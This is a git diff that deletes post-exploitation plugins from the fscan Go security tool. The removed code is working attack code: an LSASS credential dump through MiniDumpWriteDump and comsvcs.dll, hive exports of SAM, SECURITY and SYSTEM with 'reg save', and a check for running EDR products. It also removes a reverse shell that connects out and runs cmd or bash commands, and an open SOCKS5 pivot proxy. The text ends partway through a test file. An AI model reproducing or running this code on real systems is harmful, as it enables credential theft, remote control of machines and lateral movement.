output.WriteString(i18n.GetText("minidump_all_failed") + "\n") - return &plugins.Result{Success: false, Output: output.String(), Error: errors.New(i18n.GetText("minidump_all_methods_failed"))} -} - -func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, output *strings.Builder, session *common.ScanSession) bool { - pid, err := pm.findProcess("lsass.exe") - if err != nil { - output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n") - return false - } - - if privErr := pm.elevatePrivileges(); privErr != nil { - output.WriteString(i18n.Tr("minidump_privilege_failed", privErr) + "\n") - return false - } - - outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid)) - dumpCtx, cancel := context.WithTimeout(ctx, 15*time.Second) - defer cancel() - - if err := pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath); err != nil { - output.WriteString(i18n.Tr("minidump_direct_failed", err) + "\n") - os.Remove(outputPath) - return false - } - - return p.reportSuccess(output, outputPath, i18n.GetText("minidump_method_direct"), session) -} - -func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Builder, session *common.ScanSession) bool { - pid, err := pm.findProcess("lsass.exe") - if err != nil { - output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n") - return false - } - - _ = pm.elevatePrivileges() - - outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid)) - cmd := exec.Command("rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll,", "MiniDump", - fmt.Sprintf("%d", pid), outputPath, "full") - if err := cmd.Run(); err != nil { - output.WriteString(i18n.Tr("minidump_comsvcs_failed", err) + "\n") - return false - } - - return p.reportSuccess(output, outputPath, "comsvcs.dll", session) -} - -func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder, session *common.ScanSession) bool { - files := map[string]string{ - "SAM": filepath.Join(".", "sam.hiv"), - "SECURITY": filepath.Join(".", "security.hiv"), - "SYSTEM": filepath.Join(".", "system.hiv"), - } - - saved := 0 - for hive, path := range files { - if err := exec.Command("reg", "save", fmt.Sprintf("HKLM\\%s", hive), path, "/y").Run(); err == nil { - if fi, err := os.Stat(path); err == nil { - fmt.Fprintf(output, " ✓ %s → %s (%d bytes)\n", hive, path, fi.Size()) - saved++ - } - } else { - output.WriteString(i18n.Tr("minidump_hive_export_failed", hive) + "\n") - } - } - - if saved == 3 { - output.WriteString(i18n.GetText("minidump_regsave_done") + "\n") - session.LogSuccess(i18n.Tr("minidump_regsave_success")) - return true - } - return false -} - -func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method string, session *common.ScanSession) bool { - fi, err := os.Stat(path) - if err != nil || fi.Size() == 0 { - return false - } - output.WriteString(i18n.Tr("minidump_method_success", method, path, fi.Size()) + "\n") - session.LogSuccess(i18n.Tr("minidump_success", path, fi.Size())) - return true -} - -// loadSystemDLLs 加载系统DLL -func (p *MiniDumpPlugin) loadSystemDLLs() error { - kernel32, err := syscall.LoadDLL("kernel32.dll") - if err != nil { - return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "kernel32.dll"), err) - } - - dbghelp, err := syscall.LoadDLL("Dbghelp.dll") - if err != nil { - return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "Dbghelp.dll"), err) - } - - advapi32, err := syscall.LoadDLL("advapi32.dll") - if err != nil { - return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "advapi32.dll"), err) - } - - p.kernel32 = kernel32 - p.dbghelp = dbghelp - p.advapi32 = advapi32 - - return nil -} - -// releaseSystemDLLs 释放已加载的系统DLL -func (p *MiniDumpPlugin) releaseSystemDLLs() { - for _, dll := range []*syscall.DLL{p.kernel32, p.dbghelp, p.advapi32} { - if dll != nil { - _ = dll.Release() - } - } -} - -// isAdmin 检查是否具有管理员权限 -func (p *MiniDumpPlugin) isAdmin() bool { - var sid *windows.SID - err := windows.AllocateAndInitializeSid( - &windows.SECURITY_NT_AUTHORITY, - 2, - windows.SECURITY_BUILTIN_DOMAIN_RID, - windows.DOMAIN_ALIAS_RID_ADMINS, - 0, 0, 0, 0, 0, 0, - &sid) - if err != nil { - return false - } - defer func() { _ = windows.FreeSid(sid) }() - - token := windows.Token(0) - member, err := token.IsMember(sid) - return err == nil && member -} - -// ProcessManager 方法实现 - -// findProcess 查找进程 -func (pm *ProcessManager) findProcess(name string) (uint32, error) { - snapshot, err := pm.createProcessSnapshot() - if err != nil { - return 0, err - } - defer pm.closeHandle(snapshot) - - return pm.findProcessInSnapshot(snapshot, name) -} - -// createProcessSnapshot 创建进程快照 -func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) { - proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot") - if err != nil { - return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "CreateToolhelp32Snapshot"), err) - } - - handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0) - if handle == uintptr(INVALID_HANDLE_VALUE) { - lastError := windows.GetLastError() - //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf(i18n.GetText("minidump_snapshot_create_failed")+": %v (LastError: %d)", err, lastError) - } - return handle, nil -} - -// findProcessInSnapshot 在快照中查找进程 -func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) { - var pe32 PROCESSENTRY32 - pe32.dwSize = uint32(unsafe.Sizeof(pe32)) - - proc32First, err := pm.kernel32.FindProc("Process32FirstW") - if err != nil { - return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "Process32FirstW"), err) - } - - proc32Next, err := pm.kernel32.FindProc("Process32NextW") - if err != nil { - return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "Process32NextW"), err) - } - - lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW") - if err != nil { - return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "lstrcmpiW"), err) - } - - ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) - if ret == 0 { - //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf(i18n.GetText("minidump_first_process_failed")+" (LastError: %d)", windows.GetLastError()) - } - - for { - namePtr, err := syscall.UTF16PtrFromString(name) - if err != nil { - return 0, fmt.Errorf("%s: %w", i18n.GetText("minidump_process_name_convert_failed"), err) - } - - ret, _, _ = lstrcmpi.Call( - uintptr(unsafe.Pointer(namePtr)), - uintptr(unsafe.Pointer(&pe32.szExeFile[0])), - ) - - if ret == 0 { - return pe32.th32ProcessID, nil - } - - ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) - if ret == 0 { - break - } - } - - return 0, fmt.Errorf("%s", i18n.Tr("minidump_process_not_found", name)) -} - -// elevatePrivileges 提升权限 -func (pm *ProcessManager) elevatePrivileges() error { - handle, err := pm.getCurrentProcess() - if err != nil { - return err - } - - var token syscall.Token - err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("minidump_open_process_token_failed"), err) - } - defer func() { _ = token.Close() }() - - var tokenPrivileges TOKEN_PRIVILEGES - - privilegeName, err := syscall.UTF16PtrFromString("SeDebugPrivilege") - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("minidump_privilege_name_convert_failed"), err) - } - - lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW") - ret, _, err := lookupPrivilegeValue.Call( - 0, - uintptr(unsafe.Pointer(privilegeName)), - uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)), - ) - if ret == 0 { - return fmt.Errorf("%s: %w", i18n.GetText("minidump_lookup_privilege_failed"), err) - } - - tokenPrivileges.PrivilegeCount = 1 - tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED - - adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges") - ret, _, err = adjustTokenPrivileges.Call( - uintptr(token), - 0, - uintptr(unsafe.Pointer(&tokenPrivileges)), - 0, 0, 0, - ) - if ret == 0 { - return fmt.Errorf("%s: %w", i18n.GetText("minidump_adjust_token_failed"), err) - } - - return nil -} - -// getCurrentProcess 获取当前进程句柄 -func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) { - proc := pm.kernel32.MustFindProc("GetCurrentProcess") - handle, _, _ := proc.Call() - if handle == 0 { - return 0, fmt.Errorf("%s", i18n.GetText("minidump_current_process_failed")) - } - return syscall.Handle(handle), nil -} - -// dumpProcessWithTimeout 带超时的转储进程内存 -func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error { - resultChan := make(chan error, 1) - - go func() { - resultChan <- pm.dumpProcess(pid, outputPath) - }() - - select { - case err := <-resultChan: - return err - case <-ctx.Done(): - return fmt.Errorf("%s", i18n.GetText("minidump_timeout")) - } -} - -// dumpProcess 转储进程内存 -func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error { - processHandle, err := pm.openProcess(pid) - if err != nil { - return err - } - defer pm.closeHandle(processHandle) - - fileHandle, err := pm.createDumpFile(outputPath) - if err != nil { - return err - } - defer pm.closeHandle(fileHandle) - - miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump") - if err != nil { - return fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "MiniDumpWriteDump"), err) - } - - // 转储类型标志 - const MiniDumpWithDataSegs = 0x00000001 - const MiniDumpWithFullMemory = 0x00000002 - const MiniDumpWithHandleData = 0x00000004 - const MiniDumpWithUnloadedModules = 0x00000020 - const MiniDumpWithIndirectlyReferencedMemory = 0x00000040 - const MiniDumpWithProcessThreadData = 0x00000100 - const MiniDumpWithPrivateReadWriteMemory = 0x00000200 - const MiniDumpWithFullMemoryInfo = 0x00000800 - const MiniDumpWithThreadInfo = 0x00001000 - const MiniDumpWithCodeSegs = 0x00002000 - - // 组合转储类型标志 - dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData | - MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory | - MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory | - MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs - - ret, _, _ := miniDumpWriteDump.Call( - processHandle, - uintptr(pid), - fileHandle, - uintptr(dumpType), - 0, 0, 0, - ) - - if ret == 0 { - // 尝试使用较小的转储类型作为后备 - fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData - - ret, _, _ = miniDumpWriteDump.Call( - processHandle, - uintptr(pid), - fileHandle, - uintptr(fallbackDumpType), - 0, 0, 0, - ) - - if ret == 0 { - //nolint:errorlint // Windows LastError不应该wrapped - return fmt.Errorf(i18n.GetText("minidump_write_dump_failed")+" (LastError: %d)", windows.GetLastError()) - } - } - - return nil -} - -// openProcess 打开进程 -func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) { - proc, err := pm.kernel32.FindProc("OpenProcess") - if err != nil { - return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "OpenProcess"), err) - } - - handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid)) - if handle == 0 { - lastError := windows.GetLastError() - //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf(i18n.GetText("minidump_open_process_failed")+": %v (LastError: %d)", callErr, lastError) - } - return handle, nil -} - -// createDumpFile 创建转储文件 -func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) { - pathPtr, err := syscall.UTF16PtrFromString(path) - if err != nil { - return 0, err - } - - createFile, err := pm.kernel32.FindProc("CreateFileW") - if err != nil { - return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "CreateFileW"), err) - } - - handle, _, callErr := createFile.Call( - uintptr(unsafe.Pointer(pathPtr)), - syscall.GENERIC_WRITE, - 0, 0, - syscall.CREATE_ALWAYS, - syscall.FILE_ATTRIBUTE_NORMAL, - 0, - ) - - if handle == INVALID_HANDLE_VALUE { - lastError := windows.GetLastError() - //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf(i18n.GetText("file_create_failed")+": %v (LastError: %d)", callErr, lastError) - } - - return handle, nil -} - -// closeHandle 关闭句柄 -func (pm *ProcessManager) closeHandle(handle uintptr) { - if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil { - _, _, _ = proc.Call(handle) - } -} - -// isAVBlocking 检测是否有杀软会拦截 LSASS dump -func (p *MiniDumpPlugin) isAVBlocking() bool { - avProcesses := []string{ - "MsMpEng.exe", "MsSense.exe", - "CylanceSvc.exe", - "csfalconservice.exe", - "SentinelServiceHost.exe", "SentinelAgent.exe", - "xagt.exe", - "elastic-endpoint.exe", - "cb.exe", "CbDefense.exe", - } - - snapshot, err := p.kernel32.FindProc("CreateToolhelp32Snapshot") - if err != nil { - return false - } - handle, _, _ := snapshot.Call(TH32CS_SNAPPROCESS, 0) - if handle == INVALID_HANDLE_VALUE { - return false - } - defer func() { - _, _, _ = p.kernel32.MustFindProc("CloseHandle").Call(handle) - }() - - first, _ := p.kernel32.FindProc("Process32FirstW") - next, _ := p.kernel32.FindProc("Process32NextW") - - var entry PROCESSENTRY32 - entry.dwSize = uint32(unsafe.Sizeof(entry)) - - ret, _, _ := first.Call(handle, uintptr(unsafe.Pointer(&entry))) - for ret != 0 { - name := syscall.UTF16ToString(entry.szExeFile[:]) - for _, av := range avProcesses { - if strings.EqualFold(name, av) { - return true - } - } - ret, _, _ = next.Call(handle, uintptr(unsafe.Pointer(&entry))) - } - return false -} - -// 注册插件 -func init() { - RegisterLocalPlugin("minidump", func() Plugin { - return NewMiniDumpPlugin() - }) -} diff --git a/plugins/local/reverseshell.go b/plugins/local/reverseshell.go deleted file mode 100644 index 30280178..00000000 --- a/plugins/local/reverseshell.go +++ /dev/null @@ -1,204 +0,0 @@ -//go:build (plugin_reverseshell || !plugin_selective) && !no_local - -package local - -import ( - "bufio" - "context" - "errors" - "fmt" - "io" - "net" - "os" - "os/exec" - "runtime" - "strconv" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// ReverseShellPlugin 反向Shell插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现反弹Shell功能 -// - 保持原有功能逻辑 -type ReverseShellPlugin struct { - plugins.BasePlugin -} - -// NewReverseShellPlugin 创建反弹Shell插件 -func NewReverseShellPlugin() *ReverseShellPlugin { - return &ReverseShellPlugin{ - BasePlugin: plugins.NewBasePlugin("reverseshell"), - } -} - -// GetName 实现Plugin接口 - -// Scan 执行反弹Shell - 直接实现 -func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - state := session.State - var output strings.Builder - - // 从config获取配置 - target := config.LocalExploit.ReverseShellTarget - if target == "" { - target = "127.0.0.1:4444" - } - - // 解析目标地址 - host, portStr, err := net.SplitHostPort(target) - if err != nil { - host = target - portStr = "4444" - } - - port, err := strconv.Atoi(portStr) - if err != nil { - port = 4444 - } - - output.WriteString(i18n.GetText("reverseshell_header") + "\n") - output.WriteString(i18n.Tr("local_target", target) + "\n") - output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") - - // 启动反弹Shell - err = p.startNativeReverseShell(ctx, host, port, state, session) - if err != nil { - output.WriteString(i18n.Tr("reverseshell_error", err) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(i18n.GetText("reverseshell_done") + "\n") - session.LogSuccess(i18n.Tr("reverseshell_complete", target)) - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: output.String(), - Error: nil, - } -} - -// startNativeReverseShell 启动Go原生反弹Shell -func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State, session *common.ScanSession) error { - // 连接到目标 - conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port))) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("connection_failed_plain"), err) - } - defer func() { _ = conn.Close() }() - - session.LogSuccess(i18n.Tr("reverseshell_connected", host, port)) - - // 设置反弹Shell为活跃状态 - state.SetReverseShellActive(true) - defer func() { - state.SetReverseShellActive(false) - }() - - // 发送欢迎消息 - welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH) - _, _ = conn.Write([]byte(welcomeMsg)) - _, _ = conn.Write([]byte("Type 'exit' to quit\n")) - - // 创建读取器 - reader := bufio.NewReader(conn) - - for { - // 检查上下文取消 - select { - case <-ctx.Done(): - _, _ = conn.Write([]byte("Shell session terminated by context\n")) - return ctx.Err() - default: - } - - // 发送提示符 - prompt := fmt.Sprintf("%s> ", getCurrentDir()) - _, _ = conn.Write([]byte(prompt)) - - // 设置读取超时,以便能响应 ctx 取消 - _ = conn.SetReadDeadline(time.Now().Add(1 * time.Second)) - - // 读取命令 - cmdLine, err := reader.ReadString('\n') - if err != nil { - if err == io.EOF { - return nil - } - // 超时继续循环检查 ctx - var netErr net.Error - if errors.As(err, &netErr) && netErr.Timeout() { - continue - } - return fmt.Errorf("%s: %w", i18n.GetText("command_read_failed"), err) - } - - // 清理命令 - cmdLine = strings.TrimSpace(cmdLine) - if cmdLine == "" { - continue - } - - // 检查退出命令 - if cmdLine == "exit" { - _, _ = conn.Write([]byte("Goodbye!\n")) - return nil - } - - // 执行命令 - result := p.executeCommand(cmdLine) - - // 发送结果 - _, _ = conn.Write([]byte(result + "\n")) - } -} - -// executeCommand 执行系统命令 -func (p *ReverseShellPlugin) executeCommand(cmdLine string) string { - var cmd *exec.Cmd - - // 根据操作系统选择命令解释器 - switch runtime.GOOS { - case "windows": - cmd = exec.Command("cmd", "/C", cmdLine) - case "linux", "darwin": - cmd = exec.Command("bash", "-c", cmdLine) - default: - return i18n.Tr("unsupported_os", runtime.GOOS) - } - - // 执行命令并获取输出 - output, err := cmd.CombinedOutput() - if err != nil { - return i18n.Tr("command_error_with_output", err, string(output)) - } - - return string(output) -} - -// getCurrentDir 获取当前目录 -func getCurrentDir() string { - dir, err := os.Getwd() - if err != nil { - return "unknown" - } - return dir -} - -// 注册插件 -func init() { - RegisterLocalPlugin("reverseshell", func() Plugin { - return NewReverseShellPlugin() - }) -} diff --git a/plugins/local/socks5proxy.go b/plugins/local/socks5proxy.go deleted file mode 100644 index f47791d2..00000000 --- a/plugins/local/socks5proxy.go +++ /dev/null @@ -1,328 +0,0 @@ -//go:build (plugin_socks5proxy || !plugin_selective) && !no_local - -package local - -import ( - "context" - "errors" - "fmt" - "io" - "net" - "runtime" - "strconv" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// Socks5ProxyPlugin SOCKS5代理插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现SOCKS5代理功能 -// - 保持原有功能逻辑 -type Socks5ProxyPlugin struct { - plugins.BasePlugin - listener net.Listener -} - -// NewSocks5ProxyPlugin 创建SOCKS5代理插件 -func NewSocks5ProxyPlugin() *Socks5ProxyPlugin { - return &Socks5ProxyPlugin{ - BasePlugin: plugins.NewBasePlugin("socks5proxy"), - } -} - -// Scan 执行SOCKS5代理扫描 - 直接实现 -func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - state := session.State - var output strings.Builder - - // 从config获取配置 - port := config.Socks5ProxyPort - if port <= 0 { - port = 1080 // 默认端口 - } - - output.WriteString(i18n.GetText("socks5_header") + "\n") - output.WriteString(i18n.Tr("local_listen_port", port) + "\n") - output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") - - session.LogInfo(i18n.Tr("socks5_starting", port)) - - // 启动SOCKS5代理服务器 - err := p.startSocks5Server(ctx, port, state, session) - if err != nil { - output.WriteString(i18n.Tr("socks5_server_error", err) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(i18n.GetText("socks5_done") + "\n") - session.LogSuccess(i18n.Tr("socks5_complete", port)) - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: output.String(), - Error: nil, - } -} - -// startSocks5Server 启动SOCKS5代理服务器 - 核心实现 -func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, state *common.State, session *common.ScanSession) error { - // 监听指定端口 - listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("listen_port_failed"), err) - } - defer func() { _ = listener.Close() }() - - p.listener = listener - session.LogSuccess(i18n.Tr("socks5_started", port)) - - // 设置SOCKS5代理为活跃状态,告诉主程序保持运行 - state.SetSocks5ProxyActive(true) - defer func() { - // 确保退出时清除活跃状态 - state.SetSocks5ProxyActive(false) - }() - - // 主循环处理连接 - for { - select { - case <-ctx.Done(): - session.LogInfo(i18n.GetText("socks5_cancelled")) - return ctx.Err() - default: - } - - // 设置监听器超时,以便能响应上下文取消 - if tcpListener, ok := listener.(*net.TCPListener); ok { - _ = tcpListener.SetDeadline(time.Now().Add(1 * time.Second)) - } - - conn, err := listener.Accept() - if err != nil { - // 检查是否是超时错误 - var netErr net.Error - if errors.As(err, &netErr) && netErr.Timeout() { - continue // 超时继续循环 - } - session.LogError(i18n.Tr("socks5_accept_failed", err)) - continue - } - - // 并发处理客户端连接 - go p.handleClient(ctx, conn, session) - } -} - -// handleClient 处理客户端连接 -func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Conn, session *common.ScanSession) { - defer func() { _ = clientConn.Close() }() - - // ctx 取消时关闭连接,解除阻塞的 IO - go func() { - <-ctx.Done() - _ = clientConn.Close() - }() - - // SOCKS5握手阶段 - if err := p.handleSocks5Handshake(clientConn); err != nil { - if ctx.Err() == nil { - session.LogError(i18n.Tr("socks5_handshake_failed", err)) - } - return - } - - // SOCKS5请求阶段 - targetConn, _, err := p.handleSocks5Request(clientConn, session) - if err != nil { - if ctx.Err() == nil { - session.LogError(i18n.Tr("socks5_request_failed", err)) - } - return - } - defer func() { _ = targetConn.Close() }() - - session.LogSuccess(i18n.GetText("socks5_connected")) - - // 双向数据转发 - p.relayData(clientConn, targetConn) -} - -// handleSocks5Handshake 处理SOCKS5握手 -func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error { - header := make([]byte, 2) - if _, err := io.ReadFull(conn, header); err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err) - } - - if header[0] != 0x05 || header[1] == 0 { - return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version")) - } - methods := make([]byte, int(header[1])) - if _, err := io.ReadFull(conn, methods); err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err) - } - if !containsByte(methods, 0x00) { - _, _ = conn.Write([]byte{0x05, 0xff}) - return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version")) - } - - // 发送握手响应(无认证) - response := []byte{0x05, 0x00} // 版本5,无认证 - if _, err := conn.Write(response); err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_write_failed"), err) - } - - return nil -} - -// handleSocks5Request 处理SOCKS5连接请求 -func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *common.ScanSession) (net.Conn, int, error) { - header := make([]byte, 4) - if _, err := io.ReadFull(clientConn, header); err != nil { - return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_request_read_failed"), err) - } - - if header[0] != 0x05 || header[2] != 0x00 { - return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request")) - } - - cmd := header[1] - if cmd != 0x01 { // 只支持CONNECT命令 - // 发送不支持的命令响应 - response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} - _, _ = clientConn.Write(response) - return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_command")+": %d", cmd) - } - - // 解析目标地址 - addrType := header[3] - var targetHost string - var targetPort int - - switch addrType { - case 0x01: // IPv4 - addr := make([]byte, 6) - if _, err := io.ReadFull(clientConn, addr); err != nil { - return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv4_address_invalid")) - } - targetHost = fmt.Sprintf("%d.%d.%d.%d", addr[0], addr[1], addr[2], addr[3]) - targetPort = int(addr[4])<<8 + int(addr[5]) - case 0x03: // 域名 - lenBuf := make([]byte, 1) - if _, err := io.ReadFull(clientConn, lenBuf); err != nil { - return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_format_invalid")) - } - domainLen := int(lenBuf[0]) - if domainLen == 0 { - return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid")) - } - addr := make([]byte, domainLen+2) - if _, err := io.ReadFull(clientConn, addr); err != nil { - return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid")) - } - targetHost = string(addr[:domainLen]) - targetPort = int(addr[domainLen])<<8 + int(addr[domainLen+1]) - case 0x04: // IPv6 - addr := make([]byte, 18) - if _, err := io.ReadFull(clientConn, addr); err != nil { - return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv6_address_invalid")) - } - // IPv6地址解析(简化实现) - targetHost = net.IP(addr[:16]).String() - targetPort = int(addr[16])<<8 + int(addr[17]) - default: - // 发送不支持的地址类型响应 - response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} - _, _ = clientConn.Write(response) - return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_address_type")+": %d", addrType) - } - if targetPort == 0 { - return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request")) - } - - // 连接目标服务器 - targetAddr := net.JoinHostPort(targetHost, strconv.Itoa(int(targetPort))) - targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second) - if err != nil { - // 发送连接失败响应 - response := []byte{0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} - _, _ = clientConn.Write(response) - return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_target_connect_failed"), err) - } - - // 获取本地监听端口(从targetConn获取) - localAddr, ok := targetConn.LocalAddr().(*net.TCPAddr) - if !ok { - return nil, 0, fmt.Errorf("%s", i18n.GetText("local_address_unavailable")) - } - localPort := localAddr.Port - - // 发送成功响应 - response := make([]byte, 10) - response[0] = 0x05 // SOCKS版本 - response[1] = 0x00 // 成功 - response[2] = 0x00 // 保留 - response[3] = 0x01 // IPv4地址类型 - // 绑定地址和端口(使用127.0.0.1:localPort) - copy(response[4:8], []byte{127, 0, 0, 1}) - response[8] = byte(localPort >> 8) - response[9] = byte(localPort & 0xff) - - _, err = clientConn.Write(response) - if err != nil { - _ = targetConn.Close() - return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_success_response_failed"), err) - } - - session.LogDebug(i18n.Tr("socks5_proxy_connection_established", targetAddr)) - return targetConn, localPort, nil -} - -func containsByte(values []byte, target byte) bool { - for _, value := range values { - if value == target { - return true - } - } - return false -} - -// relayData 双向数据转发 -func (p *Socks5ProxyPlugin) relayData(clientConn, targetConn net.Conn) { - done := make(chan struct{}, 2) - - // 客户端到目标服务器 - go func() { - defer func() { done <- struct{}{} }() - _, _ = io.Copy(targetConn, clientConn) - _ = targetConn.Close() - }() - - // 目标服务器到客户端 - go func() { - defer func() { done <- struct{}{} }() - _, _ = io.Copy(clientConn, targetConn) - _ = clientConn.Close() - }() - - // 等待其中一个方向完成 - <-done -} - -// 注册插件 -func init() { - RegisterLocalPlugin("socks5proxy", func() Plugin { - return NewSocks5ProxyPlugin() - }) -} diff --git a/plugins/local/socks5proxy_test.go b/plugins/local/socks5proxy_test.go deleted file mode 100644 index e08c947f..00000000 --- a/plugins/local/socks5proxy_test.go +++ /dev/null @@ -1,94 +0,0 @@ -//go:build (plugin_socks5proxy || !plugin_selective) && !no_local - -package local - -import ( - "bytes" - "io" - "net" - "testing" - "time" -) - -type socksTestConn struct { - r bytes.Reader - w bytes.Buffer -} - -func newSocksTestConn(data []byte) *socksTestConn { - return &socksTestConn{r: *bytes.NewReader(data)} -} - -func (c *socksTestConn) Read(p []byte) (int, error) { - n, err := c.r.Read(p) - if err == io.EOF && n > 0 { - return n, nil - } - return n, err -} - -func (c *socksTestConn) Write(p []byte) (int, error) { return c.w.Write(p) } -func (c *socksTestConn) Close() error { return nil } -func (c *socksTestConn) LocalAddr() net.Addr { return nil } -func (c *socksTestConn) RemoteAddr() net.Addr { return nil } -func (c *socksTestConn) SetDeadline(time.Time) error { return nil } -func (c *socksTestConn) SetReadDeadline(time.Time) error { - return nil -} -func (c *socksTestConn) SetWriteDeadline(time.Time) error { - return nil -} - -func TestSocks5HandshakeValidation(t *testing.T) { - p := NewSocks5ProxyPlugin() - - t.Run("truncated methods", func(t *testing.T) { - conn := newSocksTestConn([]byte{0x05, 0x02, 0x00}) - if err := p.handleSocks5Handshake(conn); err == nil { - t.Fatal("handleSocks5Handshake() error = nil, want truncated method list error") - } - }) - - t.Run("no no-auth method", func(t *testing.T) { - conn := newSocksTestConn([]byte{0x05, 0x01, 0x02}) - if err := p.handleSocks5Handshake(conn); err == nil { - t.Fatal("handleSocks5Handshake() error = nil, want unsupported method error") - } - if got := 